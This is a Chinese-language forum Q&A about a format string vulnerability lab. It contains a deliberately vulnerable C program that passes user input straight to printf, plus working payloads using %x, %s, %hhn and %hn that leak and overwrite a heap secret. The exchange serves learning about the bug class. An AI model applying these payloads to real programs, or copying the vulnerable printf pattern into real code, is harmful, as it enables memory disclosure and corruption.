【问题标题】:Find a character from format string function从格式字符串函数中查找字符
【发布时间】:2020-03-30 15:44:32
【问题描述】:

我正在尝试了解格式字符串漏洞,我正在尝试通过修改易受攻击的代码打印出secret[1] 值,但我的试用版不起作用,我只看到secret[0]。我无法打印secret[1]

这是控制台输出:

$ ./vul_prog
The variable secret's address is 0xbffff2f8 (on stack)
The variable secret's value is 0x 804fa88 (on heap)
secret[0]'s address is 0x 804fa88 (on heap)
secret[1]'s address is 0x 804fa8c (on heap)
Please enter a decimal integer
1
Please enter a string
%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
bffff2fc.b7fd6b48.0.b7fff000.1.804fa88.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55

$ ./vul_prog
The variable secret's address is 0xbffff2f8 (on stack)
The variable secret's value is 0x 804fa88 (on heap)
secret[0]'s address is 0x 804fa88 (on heap)
secret[1]'s address is 0x 804fa8c (on heap)
Please enter a decimal integer
1234567
Please enter a string
%x.%x.%x.%x.%x.%x.%s
Segmentation fault

代码:

/* vul_prog.c */
#include<stdio.h>
#include<stdlib.h>
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
    char user_input[100];
    int *secret;
    int int_input;
    int a, b, c, d; /* other variables, not used here.*/
    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));
    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;

    printf("The variable secret's address is 0x%8x (on stack)\n",
           (unsigned int)&secret);

    printf("The variable secret's value is 0x%8x (on heap)\n",
           (unsigned int)secret);

    printf("secret[0]'s address is 0x%8x (on heap)\n",
           (unsigned int)&secret[0]);

    printf("secret[1]'s address is 0x%8x (on heap)\n",
           (unsigned int)&secret[1]);

    printf("Please enter a decimal integer\n");
    scanf("%d", &int_input); /* getting an input from user */
    printf("Please enter a string\n");
    scanf("%s", user_input); /* getting a string from user */

    /* Vulnerable place */
    printf(user_input);
    printf("\n");

    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}

有什么问题吗?

【问题讨论】:

  • 使用%p 打印指针值,而不是%8x
  • %s 将导致printf(user_input) 访问内存,直到找到'\0'。看起来它在找到 nul 之前就出现了段错误。
  • 感谢您的提醒,但我正在使用 printf(user_input) 来访问内存。

标签: c format-string


【解决方案1】:

使用用户输入的格式字符串调用printf 非常危险,任何与实际参数不对应的格式说明符都会导致未定义的行为。

但就你而言,这问题的目标。

从第一个输出中,您可以看到虽然没有向printf 传递任何参数,但它为%x 找到的第六个参数是调用者框架中的指针secret

如果您传递字符串"%x%x%x%x%x%.2s",您应该能够获取秘密数组的内容,因为printf 用于%s 的值将是指针secret

如果传递字符串"%x%x%x%x%x%hhn",则指针secret的值将作为存储到目前为止输出的字符数的位置,从而修改实际的secret

您可以使用不同的格式来更改此字符数。例如%.0s 应该忽略不产生输出的参数,%65c 应该产生 65 字节的输出。因此,如果您想将 'A' 存储在密钥中,则此格式字符串可能有效:"%.0s%.0s%.0s%.0s%65d%hhn"

当然,这是完全系统和编译器特定的,确实这种方法不适用于 64 位系统,但您正在 32 位系统上进行测试。

【讨论】:

  • 感谢您的回答,但我仍然在质疑为什么我只能访问 secret[0] 值,而不能访问 secret[1]。我知道 804fa88 是 secret[0] 的位置,但为什么 secret[1] 不在输出 bffff2fc.b7fd6b48.0.b7fff000.12d687 的下一个位置。 804fa88 .252e7825
  • 您可以使用%hn 格式访问secret[0]secret[1]。例如"%.0s%.0s%.0s%.0s%16706d%hn" 应该产生 16KB 的输出并将秘密设置为BA
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-01-17
  • 1970-01-01
  • 2016-02-28
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多